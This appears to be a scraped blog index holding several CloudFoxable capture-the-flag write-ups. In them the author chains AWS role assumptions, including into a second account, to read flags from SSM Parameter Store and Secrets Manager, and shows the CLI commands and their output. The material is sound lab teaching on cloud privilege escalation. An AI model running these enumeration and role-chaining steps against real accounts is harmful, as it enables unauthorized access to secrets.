\u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/Lasso/botocore-session-1773311403\u0026#34; } I proceed again with finding information on what permissions this new role has.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name Lasso --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;important-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/important-policy\u0026#34; } ] } adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/important-policy --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: \u0026#34;ssm:GetParameter\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/production/CICD/root\u0026#34; } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:44:04+00:00\u0026#34; } } That\u0026rsquo;s it, I\u0026rsquo;ve reached the point where I can access the target.\nExecution 1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;Parameter\u0026#34;: { \u0026#34;Name\u0026#34;: \u0026#34;/production/CICD/root\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;Value\u0026#34;: \u0026#34;FLAG{root::ExploitingRoleTrustsIsFun}\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-11T16:43:57.575000+01:00\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/production/CICD/root\u0026#34;, \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; } } ","permalink":"https://adicpnn.com/blog/cloudfoxable/root/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eYou\u0026rsquo;ve just gained access to the role Kent. Can you get to the root flag in the SSM parameter store?\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch3 id=\"information-gathering\"\u003eInformation Gathering\u003c/h3\u003e\n\u003cp\u003eShort and concise challenge details, I will start by preparing a profile for ramos, and checking which policies are attached to it.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eadicpnn@laboratory cloud % cat ~/.aws/config\u003cspan class=\"p\"\u003e|\u003c/span\u003e tail \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003eprofile kent\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eregion\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e eu-central-1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003erole_arn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e arn:aws:iam::129323993607:role/Kent\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003esource_profile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e cloudfoxable\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eadicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name Kent --profile cloudfoxable\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s2\"\u003e\u0026#34;AttachedPolicies\u0026#34;\u003c/span\u003e: \u003cspan class=\"o\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s2\"\u003e\u0026#34;PolicyName\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;root-policy1\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s2\"\u003e\u0026#34;PolicyArn\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;arn:aws:iam::129323993607:policy/root-policy1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eA single policy attached, let\u0026rsquo;s see what type of access it grants.\u003c/p\u003e","title":"Cloudfoxable - Root"},{"content":" You\u0026rsquo;ve just gained access to the reinier role. Utilize cloudfox and see where it takes you!\nInformation Gathering First things first, set up the profile, and test access.\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % cat ~/.aws/config | tail [profile reinier] region = eu-central-1 role_arn = arn:aws:iam::129323993607:role/reinier source_profile = cloudfoxable adicpnn@laboratory cloud % aws sts get-caller-identity --profile reinier { \u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRIDTDEJTABUR:botocore-session-1773311810\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/reinier/botocore-session-1773311810\u0026#34; } Then, enumerating attached policies.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name reinier --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;authorized_deployers\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/authorized_deployers\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;SecurityAudit\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/SecurityAudit\u0026#34; } ] } adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/authorized_deployers --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;sts:AssumeRole\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;arn:aws:iam::129323993607:role/deployment_automation\u0026#34;, \u0026#34;arn:aws:iam::992382614597:role/*\u0026#34; ] }, { \u0026#34;Action\u0026#34;: [ \u0026#34;s3:GetObject\u0026#34;, \u0026#34;s3:ListBucket\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;arn:aws:s3:::deployment-automation-qsf7i\u0026#34;, \u0026#34;arn:aws:s3:::deployment-automation-qsf7i/*\u0026#34; ] } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:44:09+00:00\u0026#34; } } Interesting, the customer managed policy attached to this role grants quite a few things:\nAssumeRole permissions to a role in my account, and to all roles in another account S3 permissions to list a bucket and view it\u0026rsquo;s contents I\u0026rsquo;ll start with enumerating the S3 bucket first.\n1 2 3 4 5 6 7 adicpnn@laboratory cloud % aws s3 ls deployment-automation-qsf7i 2026-03-11 16:44:09 141627 Deployment Process Description.pdf 2026-03-11 16:44:08 135541 Security Review Process.pdf adicpnn@laboratory cloud % aws s3 sync s3://deployment-automation-qsf7i . download: s3://deployment-automation-qsf7i/Security Review Process.pdf to ./Security Review Process.pdf download: s3://deployment-automation-qsf7i/Deployment Process Description.pdf to ./Deployment Process Description.pdf Found two pdf files in here:\nSecurity Review Process.pdf One bad, one good samples of SQL statements :) Deployment Process Description.pdf Lists information on different stages of deployment environments, and what procedures are in place to get code from dev, to staging, to prod. This gives me some ideas to think about, but for now I\u0026rsquo;ll continue looking into the roles I can assume.\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % cat ~/.aws/config | tail [profile deployment] region = eu-central-1 role_arn = arn:aws:iam::129323993607:role/deployment_automation source_profile = reinier adicpnn@laboratory cloud % aws sts get-caller-identity --profile deployment { \u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRID5C7MBZKHG:botocore-session-1773312746\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/deployment_automation/botocore-session-1773312746\u0026#34; } And find it\u0026rsquo;s permissions.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name deployment_automation --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;deployment_automation\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/deployment_automation\u0026#34; } ] } adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/deployment_automation --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;sts:AssumeRole\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/secret_reader\u0026#34; } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:44:09+00:00\u0026#34; } } Another role!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 adicpnn@laboratory cloud % cat ~/.aws/config | tail [profile sreader] region = eu-central-1 role_arn = arn:aws:iam::129323993607:role/secret_reader source_profile = deployment adicpnn@laboratory cloud % aws sts get-caller-identity --profile sreader { \u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRIDRDETOLKD7:botocore-session-1773318844\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/secret_reader/botocore-session-1773318844\u0026#34; } adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name secret_reader --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;secret_reader\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/secret_reader\u0026#34; } ] } adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/secret_reader --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;secretsmanager:ListSecrets\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; }, { \u0026#34;Action\u0026#34;: [ \u0026#34;secretsmanager:GetSecretValue\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:secretsmanager:eu-central-1:129323993607:secret:SegueFlag-NkRElx\u0026#34; } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:58+00:00\u0026#34; } } Ok then, so I should be able to read the flag now, great.\n1 2 3 4 5 6 7 8 9 10 11 adicpnn@laboratory cloud % aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:eu-central-1:129323993607:secret:SegueFlag-NkRElx --profile sreader { \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:secretsmanager:eu-central-1:129323993607:secret:SegueFlag-NkRElx\u0026#34;, \u0026#34;Name\u0026#34;: \u0026#34;SegueFlag\u0026#34;, \u0026#34;VersionId\u0026#34;: \u0026#34;terraform-20260311154358616400000006\u0026#34;, \u0026#34;SecretString\u0026#34;: \u0026#34;Thank you, but your flag is in another castle\u0026#34;, \u0026#34;VersionStages\u0026#34;: [ \u0026#34;AWSCURRENT\u0026#34; ], \u0026#34;CreatedDate\u0026#34;: \u0026#34;2026-03-11T16:43:58.647000+01:00\u0026#34; } The flag is not here? Maybe this is what the documents in the S3 bucket were referring to. A safe assumption would be that these 2 accounts represent mirrored environments, one for staging, one for production. Based on this, there should be an identical \u0026ldquo;deployment_automation\u0026rdquo; role in the other account.\n1 2 3 4 5 6 7 8 9 10 11 [profile external_deployment] region = eu-central-1 role_arn = arn:aws:iam::992382614597:role/deployment_automation source_profile = reinier adicpnn@laboratory cloud % aws sts get-caller-identity --profile external_deployment { \u0026#34;UserId\u0026#34;: \u0026#34;AROA6ODU47RCSYM7JNVB4:botocore-session-1773319202\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;992382614597\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::992382614597:assumed-role/deployment_automation/botocore-session-1773319202\u0026#34; } The assumption was right indeed, maybe these again a secret_reader role assumable? This time I won\u0026rsquo;t have a SecurityAudit managed policy attached to gather more info, so I need to blindly try and assume this role.\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % aws sts assume-role --role-arn arn:aws:iam::992382614597:role/secret_reader --role-session-name secret --profile external_deployment { \u0026#34;Credentials\u0026#34;: { \u0026#34;AccessKeyId\u0026#34;: \u0026#34;nope\u0026#34;, \u0026#34;SecretAccessKey\u0026#34;: \u0026#34;nope\u0026#34;, \u0026#34;SessionToken\u0026#34;: \u0026#34;nope\u0026#34;, \u0026#34;Expiration\u0026#34;: \u0026#34;2026-03-12T13:42:32+00:00\u0026#34; }, \u0026#34;AssumedRoleUser\u0026#34;: { \u0026#34;AssumedRoleId\u0026#34;: \u0026#34;AROA6ODU47RCW5NAHFAUT:secret\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::992382614597:assumed-role/secret_reader/secret\u0026#34; } } Indeed there is! We have almost all the information we need, excluding two caveats:\nThe secret might be in a different region, so I need to account for that I will assume the secret is hosted in the same region as the default cloudfoxable one: us-west-2 I don\u0026rsquo;t know the full ARN of this secret Quoting AWS documentation, Secrets Manager includes six random characters at the end of the secret name to help ensure that the secret ARN is unique.\nSecrets Manager includes six random characters at the end of the secret name to help ensure that the secret ARN is unique. If the original secret is deleted, and then a new secret is created with the same name, the two secrets have different ARNs because of these characters. Users with access to the old secret don\u0026rsquo;t automatically get access to the new secret because the ARNs are different.\nSecrets Manager constructs an ARN for a secret with Region, account, secret name, and then a hyphen and six more characters, as follows: arn:aws:secretsmanager:us-east-2:111122223333:secret:SecretName-abcdef\nWhat this means, is that I need to attempt retrieving the secret using it\u0026rsquo;s partial name, excluding the trialing hyphen and characters.\nI\u0026rsquo;ll prepare the aws profile before attempting to read the secret.\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % cat ~/.aws/config | tail [profile external_secret] region = eu-central-1 role_arn = arn:aws:iam::992382614597:role/secret_reader source_profile = external_deployment adicpnn@laboratory cloud % aws sts get-caller-identity --profile external_secret { \u0026#34;UserId\u0026#34;: \u0026#34;AROA6ODU47RCW5NAHFAUT:botocore-session-1773319905\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;992382614597\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::992382614597:assumed-role/secret_reader/botocore-session-1773319905\u0026#34; } Execution All that\u0026rsquo;s left now is to get the flag!\n1 2 3 4 5 6 7 8 9 10 11 adicpnn@laboratory cloud % aws secretsmanager get-secret-value --region us-west-2 --secret-id SegueFlag --profile external_secret { \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:secretsmanager:us-west-2:992382614597:secret:SegueFlag-9Jlveb\u0026#34;, \u0026#34;Name\u0026#34;: \u0026#34;SegueFlag\u0026#34;, \u0026#34;VersionId\u0026#34;: \u0026#34;b60d8f60-e18b-4dff-b520-fe88d8a924ea\u0026#34;, \u0026#34;SecretString\u0026#34;: \u0026#34;{\\\u0026#34;SegueFlag\\\u0026#34;:\\\u0026#34;FLAG{SEGUE:protect_roles_from_unintended_cross_account_access}\\\u0026#34;}\u0026#34;, \u0026#34;VersionStages\u0026#34;: [ \u0026#34;AWSCURRENT\u0026#34; ], \u0026#34;CreatedDate\u0026#34;: \u0026#34;2024-04-26T19:43:23.342000+02:00\u0026#34; } ","permalink":"https://adicpnn.com/blog/cloudfoxable/segue/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eYou\u0026rsquo;ve just gained access to the reinier role. Utilize cloudfox and see where it takes you!\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch3 id=\"information-gathering\"\u003eInformation Gathering\u003c/h3\u003e\n\u003cp\u003eFirst things first, set up the profile, and test access.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eadicpnn@laboratory cloud % cat ~/.aws/config \u003cspan class=\"p\"\u003e|\u003c/span\u003e tail\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003eprofile reinier\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eregion\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e eu-central-1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003erole_arn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e arn:aws:iam::129323993607:role/reinier\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003esource_profile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e cloudfoxable\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eadicpnn@laboratory cloud % aws sts get-caller-identity --profile reinier\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s2\"\u003e\u0026#34;UserId\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;AROAR4HCPRIDTDEJTABUR:botocore-session-1773311810\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s2\"\u003e\u0026#34;Account\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;129323993607\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s2\"\u003e\u0026#34;Arn\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;arn:aws:sts::129323993607:assumed-role/reinier/botocore-session-1773311810\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eThen, enumerating attached policies.\u003c/p\u003e","title":"Cloudfoxable - Segue"},{"content":" You\u0026rsquo;ve just gained access to the role viniciusjr. At first glance, this role appears to only have some SNS read-only access? But I don\u0026rsquo;t think that\u0026rsquo;s accurate. See if you can get to the flag /cloudfoxable/flag/executioner in the SSM parameter store.\nInformation Gathering First things first, set up the profile, and test access.\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % cat ~/.aws/config | tail [profile vini] region = eu-central-1 role_arn = arn:aws:iam::129323993607:role/viniciusjr source_profile = cloudfoxable adicpnn@laboratory cloud % aws sts get-caller-identity --profile vini { \u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRIDXMLFGL22G:botocore-session-1773327029\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/viniciusjr/botocore-session-1773327029\u0026#34; } Then, enumerating attached policies.\n1 2 3 4 5 6 7 8 9 adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name viniciusjr --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;AmazonSNSReadOnlyAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AmazonSNSReadOnlyAccess\u0026#34; } ] } Interesting, just SNS read access. I\u0026rsquo;ll repeat some of the steps performed during the \u0026ldquo;The topic is exposure\u0026rdquo; challenge.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 adicpnn@laboratory cloud % aws sns list-topics --profile vini { \u0026#34;Topics\u0026#34;: [ { \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:eventbridge-sns\u0026#34; }, { \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:executioner\u0026#34; }, { \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:public\u0026#34; }, { \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:user-updates-topic\u0026#34; }, { \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:user-updates-topic.fifo\u0026#34; } ] } I previously did \u0026ldquo;eventbridge-sns\u0026rdquo;, so I\u0026rsquo;ll skip this one.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 adicpnn@laboratory cloud % aws sns get-topic-attributes --topic-arn arn:aws:sns:eu-central-1:129323993607:executioner --profile vini { \u0026#34;Attributes\u0026#34;: { \u0026#34;Policy\u0026#34;: \u0026#34;{\\\u0026#34;Version\\\u0026#34;:\\\u0026#34;2012-10-17\\\u0026#34;,\\\u0026#34;Id\\\u0026#34;:\\\u0026#34;snspolicy\\\u0026#34;,\\\u0026#34;Statement\\\u0026#34;:[{\\\u0026#34;Sid\\\u0026#34;:\\\u0026#34;First\\\u0026#34;,\\\u0026#34;Effect\\\u0026#34;:\\\u0026#34;Allow\\\u0026#34;,\\\u0026#34;Principal\\\u0026#34;:\\\u0026#34;*\\\u0026#34;,\\\u0026#34;Action\\\u0026#34;:[\\\u0026#34;sns:Subscribe\\\u0026#34;,\\\u0026#34;sns:Publish\\\u0026#34;],\\\u0026#34;Resource\\\u0026#34;:\\\u0026#34;arn:aws:sns:eu-central-1:129323993607:executioner\\\u0026#34;,\\\u0026#34;Condition\\\u0026#34;:{\\\u0026#34;StringEquals\\\u0026#34;:{\\\u0026#34;aws:PrincipalAccount\\\u0026#34;:\\\u0026#34;129323993607\\\u0026#34;}}}]}\u0026#34;, \u0026#34;LambdaSuccessFeedbackSampleRate\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;Owner\u0026#34;: \u0026#34;129323993607\u0026#34;, 